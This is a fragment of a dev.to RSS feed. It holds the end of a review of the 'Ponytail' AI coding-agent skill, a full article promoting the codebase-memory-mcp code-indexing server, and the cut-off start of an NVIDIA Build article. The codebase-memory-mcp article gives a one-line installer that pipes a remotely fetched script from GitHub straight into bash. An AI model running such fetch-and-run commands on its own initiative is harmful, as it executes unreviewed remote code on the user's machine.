&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight markdown&quot;&gt;&lt;code&gt;UI components: always use shadcn/ui. Never use native HTML inputs in isolation when a styled component exists.
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Ponytail layered with project-specific constraints is more reliable than Ponytail alone in a mature codebase.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;should-you-install-it&quot; href=&quot;https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc#should-you-install-it&quot;&gt;
  &lt;/a&gt;
  Should You Install It?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Yes, if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You use Claude Code, OpenCode, Codex, or Gemini CLI daily&lt;/li&gt;
&lt;li&gt;Your agents regularly over-build — installing libraries for problems the stdlib already solves, generating 4 variants of a component when 1 was asked for&lt;/li&gt;
&lt;li&gt;You&#39;re on API billing and token cost matters to you&lt;/li&gt;
&lt;li&gt;You work on greenfield projects or backend code&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;With caveats, if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your project has an established design system (shadcn, MUI, Chakra, etc.) — pair it with explicit project rules&lt;/li&gt;
&lt;li&gt;You use smaller local models (sub-7B) — the skill needs a model that actually follows instructions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Not a replacement for:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Code review&lt;/li&gt;
&lt;li&gt;Project-specific conventions in your &lt;code&gt;AGENTS.md&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Your own judgment when the agent picks the wrong rung&lt;/li&gt;
&lt;/ul&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;installation-claude-code&quot; href=&quot;https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc#installation-claude-code&quot;&gt;
  &lt;/a&gt;
  Installation (Claude Code)
&lt;/h2&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight console&quot;&gt;&lt;code&gt;&lt;span class=&quot;go&quot;&gt;/plugin marketplace add DietrichGebert/ponytail
/plugin install ponytail@ponytail
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;For OpenCode, add to &lt;code&gt;opencode.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight json&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;plugin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;@dietrichgebert/ponytail&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;For Cursor/Windsurf/Cline — copy the matching rules file from the repo into your project&#39;s rules directory.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;final-thought&quot; href=&quot;https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc#final-thought&quot;&gt;
  &lt;/a&gt;
  Final Thought
&lt;/h2&gt;

&lt;p&gt;Ponytail&#39;s viral growth isn&#39;t really about the code — it&#39;s about the frustration it names. Every developer who has watched an AI agent install a npm package to do something the browser has done natively since 2014 immediately got the date picker example. That recognition is what drove 44k stars in 9 days.&lt;/p&gt;

&lt;p&gt;The skill itself is ~100 lines of Markdown and some adapter plumbing. That&#39;s not a criticism — it&#39;s a reminder that the best constraints are simple ones, applied consistently.&lt;/p&gt;

&lt;p&gt;The unsolved design system problem is real and worth watching. If a future version of Ponytail learns to read and respect a project&#39;s installed component library automatically — not just check &lt;code&gt;package.json&lt;/code&gt; exists, but actually understand what the installed library provides — that would make it genuinely production-safe across all project types.&lt;/p&gt;

&lt;p&gt;Until then: install it, pair it with your own project rules, and keep reviewing.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;By Yash Desai | AI Infrastructure &amp;amp; Fullstack Engineering | &lt;a href=&quot;https://yashddesai.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;yashddesai.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;


&lt;hr&gt;

&lt;p&gt;&lt;em&gt;The repo: &lt;a href=&quot;https://github.com/DietrichGebert/ponytail&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;github.com/DietrichGebert/ponytail&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Credits &amp;amp; sources:&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Scott Logic / Colin Eberhardt — &lt;a href=&quot;https://blog.scottlogic.com/2026/06/16/ponytail-yagni-and-the-problem-with-prompt-benchmarks.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Ponytail? YAGNI! (blog.scottlogic.com)&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Mehdi Rahmani — &lt;a href=&quot;https://mehdirahmani.fr/en/ponytail-ai-agent-rules-honest-review/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Ponytail: I tested it, my verdict with zero hype (mehdirahmani.fr)&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;AlphaMatch — &lt;a href=&quot;https://www.alphamatch.ai/blog/ponytail-ai-coding-skill-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Ponytail: The AI Coding Skill That Saves Tokens (alphamatch.ai)&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Hacker News thread — &lt;a href=&quot;https://news.ycombinator.com/item?id=48527946&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;item?id=48527946&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Ponytail agentic benchmark — &lt;a href=&quot;https://github.com/DietrichGebert/ponytail/blob/main/benchmarks/results/2026-06-18-agentic.md&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;2026-06-18-agentic.md&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;


            </description><link>https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc</link><guid isPermaLink="false">https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc</guid><pubDate>Thu, 25 Jun 2026 05:29:08 GMT</pubDate><author>Yash Desai</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu009qc3s5uj42iyrf5vv.png" type="image/jpeg"></enclosure></item><item><title>Stop Making Your AI Coding Agent Grep Your Whole Repo — Try codebase-memory-mcp</title><description>&lt;p&gt;If you use an AI coding agent — Claude Code, Codex CLI, Gemini CLI, Cursor, Zed, Aider, whatever — you&#39;ve probably watched it burn through tens of thousands of tokens just trying to figure out who calls a function or where a route is defined. It greps, it reads files, it greps again, it reads more files. Eventually it answers your question, but it took a small forest of tokens and several tool calls to do it.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/DeusData/codebase-memory-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;codebase-memory-mcp&lt;/a&gt; is an open-source MCP server built to fix exactly that. It indexes your codebase into a persistent knowledge graph — functions, classes, call chains, HTTP routes, cross-service links — and lets your agent ask structural questions directly instead of reading its way through the filesystem.&lt;/p&gt;

&lt;p&gt;Here&#39;s what&#39;s actually in it for you.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-pitch-in-one-paragraph&quot; href=&quot;https://dev.to/arshtechpro/stop-making-your-ai-coding-agent-grep-your-whole-repo-try-codebase-memory-mcp-4g8l#the-pitch-in-one-paragraph&quot;&gt;
  &lt;/a&gt;
  The pitch in one paragraph
&lt;/h2&gt;

&lt;p&gt;You install a single static binary. You tell your agent &quot;index this project.&quot; A few seconds to a few minutes later (yes, even the Linux kernel — 28 million lines of code — takes about 3 minutes), your agent can ask things like &quot;what calls &lt;code&gt;ProcessOrder&lt;/code&gt;?&quot; or &quot;show me the architecture of this service&quot; and get an answer in under a millisecond, instead of grepping and reading dozens of files. No Docker, no API keys, no separate database to run. It&#39;s just a binary that talks MCP.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;why-this-matters-the-token-math&quot; href=&quot;https://dev.to/arshtechpro/stop-making-your-ai-coding-agent-grep-your-whole-repo-try-codebase-memory-mcp-4g8l#why-this-matters-the-token-math&quot;&gt;
  &lt;/a&gt;
  Why this matters: the token math
&lt;/h2&gt;

&lt;p&gt;This is the number that should get your attention. According to the project&#39;s own benchmarks, five typical structural queries cost roughly 3,400 tokens through codebase-memory-mcp, versus about 412,000 tokens doing the equivalent file-by-file grep-and-read exploration. That&#39;s a 99 percent reduction. Less context burned on exploration means more budget left for the agent to actually reason about your problem — and a noticeably faster, cheaper session.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-it-actually-does&quot; href=&quot;https://dev.to/arshtechpro/stop-making-your-ai-coding-agent-grep-your-whole-repo-try-codebase-memory-mcp-4g8l#what-it-actually-does&quot;&gt;
  &lt;/a&gt;
  What it actually does
&lt;/h2&gt;

&lt;p&gt;At its core, codebase-memory-mcp is a structural analysis backend, not another LLM wrapper. It parses your code with tree-sitter, builds a graph of how everything connects, and exposes that graph through 14 MCP tools. Your agent is still the brain — it just stops having to rediscover your codebase from scratch every session.&lt;/p&gt;

&lt;p&gt;A typical interaction looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;You: &quot;what calls ProcessOrder?&quot;
Agent calls: trace_call_path(function_name=&quot;ProcessOrder&quot;, direction=&quot;inbound&quot;)
codebase-memory-mcp: executes the graph query, returns structured results
Agent: presents the call chain in plain English
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;No extra LLM, no extra API key, no extra cost layer — the agent you&#39;re already paying for does the translation from natural language to graph query.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-features-that-actually-matter-day-to-day&quot; href=&quot;https://dev.to/arshtechpro/stop-making-your-ai-coding-agent-grep-your-whole-repo-try-codebase-memory-mcp-4g8l#the-features-that-actually-matter-day-to-day&quot;&gt;
  &lt;/a&gt;
  The features that actually matter day to day
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;It&#39;s fast, even on huge repos.&lt;/strong&gt; RAM-first indexing pipeline (LZ4 compression, in-memory SQLite, single dump at the end). Benchmarked on an Apple M3 Pro, the Linux kernel indexes in about 3 minutes; a mid-sized project like Django takes around 6 seconds. Memory is released back to the OS once indexing finishes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It speaks 155 languages.&lt;/strong&gt; Tree-sitter grammars for all of them are vendored directly into the binary, so there&#39;s nothing extra to install. Go, C, C++, and the TypeScript/JavaScript/JSX/TSX family additionally get LSP-style hybrid type resolution — proper parameter binding, return-type inference, generic substitution, and JSDoc inference for plain JS files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It plugs into 11 coding agents automatically.&lt;/strong&gt; Running the installer auto-detects Claude Code, Codex CLI, Gemini CLI, Zed, OpenCode, Antigravity, Aider, KiloCode, VS Code, OpenClaw, and Kiro, and configures MCP entries, instruction files, and hooks for whichever ones you have installed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It understands more than just application code.&lt;/strong&gt; Dockerfiles, Kubernetes manifests, and Kustomize overlays get indexed as graph nodes too, with cross-references between them — useful if your agent needs to reason about infrastructure as well as application logic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It finds dead code, traces blast radius, and detects near-duplicates.&lt;/strong&gt; Beyond simple search, there&#39;s Louvain community detection for discovering functional modules, git-diff impact mapping that classifies risk for uncommitted changes, dead code detection (excluding entry points), and MinHash-based near-clone detection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It can visualize the graph.&lt;/strong&gt; An optional UI binary variant ships a built-in 3D graph visualization you can open in a browser at &lt;code&gt;localhost:9749&lt;/code&gt;, running alongside the MCP server as a background thread.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your team doesn&#39;t all have to reindex separately.&lt;/strong&gt; A &lt;code&gt;.codebase-memory/graph.db.zst&lt;/code&gt; artifact can be committed alongside your source — a zstd-compressed snapshot of the graph. When a teammate clones the repo and runs the indexer for the first time, it imports that snapshot and only does an incremental diff locally, instead of a full reindex. It&#39;s entirely optional and gitignore-friendly if you&#39;d rather everyone start fresh.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;getting-started&quot; href=&quot;https://dev.to/arshtechpro/stop-making-your-ai-coding-agent-grep-your-whole-repo-try-codebase-memory-mcp-4g8l#getting-started&quot;&gt;
  &lt;/a&gt;
  Getting started
&lt;/h2&gt;

&lt;p&gt;The one-line install on macOS or Linux:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-fsSL&lt;/span&gt; https://raw.githubusercontent.com/DeusData/codebase-memory-mcp/main/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Add &lt;code&gt;-s -- --ui&lt;/code&gt; on the end if you want the graph visualization included.&lt;/p&gt;

&lt;p&gt;On Windows, download &lt;code&gt;install.ps1&lt;/code&gt; and run it from PowerShell. There&#39;s also a manual route if you&#39;d rather inspect everything first: download the platform-specific archive from the &lt;a href=&quot;https://github.com/DeusData/codebase-memory-mcp/releases/latest&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;latest release&lt;/a&gt;, extract it, and run the bundled install script.&lt;/p&gt;

&lt;p&gt;Once installed, restart your coding agent and just say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&quot;Index this project&quot;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That&#39;s the entire setup. If you want indexing to happen automatically whenever you open a new project, turn on auto-index:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;codebase-memory-mcp config &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;auto_index &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;After the initial index, a background watcher keeps the graph in sync with your git changes, so you&#39;re not manually re-indexing every time you commit.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-you-get-to-ask-it&quot; href=&quot;https://dev.to/arshtechpro/stop-making-your-ai-coding-agent-grep-your-whole-repo-try-codebase-memory-mcp-4g8l#what-you-get-to-ask-it&quot;&gt;
  &lt;/a&gt;
  What you get to ask it
&lt;/h2&gt;

&lt;p&gt;Once a project is indexed, here&#39;s a sample of what&#39;s available through the 14 MCP tools:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;search_graph&lt;/code&gt; — structured search by label, name pattern, file pattern, or degree filters&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;trace_call_path&lt;/code&gt; — BFS traversal showing what calls a function and what it calls, up to depth 5&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;get_architecture&lt;/code&gt; — a one-call overview of languages, packages, entry points, routes, hotspots, and clusters&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;detect_changes&lt;/code&gt; — maps your current git diff to the symbols it affects, with risk classification&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;query_graph&lt;/code&gt; — Cypher-like queries, e.g. &lt;code&gt;MATCH (f:Function)-[:CALLS]-&amp;gt;(g) WHERE f.name = &#39;main&#39; RETURN g.name&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;semantic_query&lt;/code&gt; — vector search over the whole graph using bundled embeddings, no API key required&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;manage_adr&lt;/code&gt; — CRUD operations for Architecture Decision Records, so design decisions persist across sessions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;get_code_snippet&lt;/code&gt;, &lt;code&gt;search_code&lt;/code&gt;, &lt;code&gt;ingest_traces&lt;/code&gt;, and several more&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Everything is also callable directly from the command line if you want to script against it:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;codebase-memory-mcp cli search_graph &lt;span class=&quot;s1&quot;&gt;&#39;{&quot;name_pattern&quot;: &quot;.*Handler.*&quot;, &quot;label&quot;: &quot;Function&quot;}&#39;&lt;/span&gt;
codebase-memory-mcp cli trace_call_path &lt;span class=&quot;s1&quot;&gt;&#39;{&quot;function_name&quot;: &quot;Search&quot;, &quot;direction&quot;: &quot;both&quot;}&#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  &lt;a name=&quot;on-trust-and-security&quot; href=&quot;https://dev.to/arshtechpro/stop-making-your-ai-coding-agent-grep-your-whole-repo-try-codebase-memory-mcp-4g8l#on-trust-and-security&quot;&gt;
  &lt;/a&gt;
  On trust and security
&lt;/h2&gt;

&lt;p&gt;Reasonable question to ask of any tool that reads your entire codebase: every release binary is scanned by 70+ antivirus engines on VirusTotal before publishing, carries SLSA Level 3 build provenance you can verify with &lt;code&gt;gh attestation verify&lt;/code&gt;, is signed with Sigstore cosign, and ships SHA-256 checksums. There are zero runtime dependencies — every library is vendored at compile time, so there&#39;s no transitive supply chain to worry about. All processing happens locally; your code doesn&#39;t leave your machine.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;should-you-use-it&quot; href=&quot;https://dev.to/arshtechpro/stop-making-your-ai-coding-agent-grep-your-whole-repo-try-codebase-memory-mcp-4g8l#should-you-use-it&quot;&gt;
  &lt;/a&gt;
  Should you use it?
&lt;/h2&gt;

&lt;p&gt;If your agent sessions are eating context on repetitive file exploration, or you work in a large monorepo where &quot;where is this used&quot; is a constant question, this is a low-effort, high-leverage addition to your setup. It&#39;s a single binary, the install is one command, and the worst case is you uninstall it and you&#39;re back where you started — &lt;code&gt;codebase-memory-mcp uninstall&lt;/code&gt; cleanly removes configs, hooks, and instructions without touching your binary or databases.&lt;/p&gt;

&lt;p&gt;Repo&#39;s here if you want to dig in further or check the source before running it: &lt;a href=&quot;https://github.com/DeusData/codebase-memory-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;github.com/DeusData/codebase-memory-mcp&lt;/a&gt;&lt;/p&gt;


            </description><link>https://dev.to/arshtechpro/stop-making-your-ai-coding-agent-grep-your-whole-repo-try-codebase-memory-mcp-4g8l</link><guid isPermaLink="false">https://dev.to/arshtechpro/stop-making-your-ai-coding-agent-grep-your-whole-repo-try-codebase-memory-mcp-4g8l</guid><pubDate>Sat, 20 Jun 2026 22:01:23 GMT</pubDate><author>ArshTechPro</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzbdpzk5bo9nkdvtjpbrp.png" type="image/jpeg"></enclosure><category>ai</category><category>mcp</category><category>agents</category><category>programming</category></item><item><title>Stop Paying $20/month. Use NVIDIA Build: 80+ Free AI Models</title><description>&lt;p&gt;This is a TLDR of a &lt;a href=&quot;https://medium.com/gopenai/stop-paying-20-month-use-nvidia-build-80-free-ai-models-0b08205f91b5?sk=e3dec0158ca29b1c2f1231e5dc6b0eab&quot; 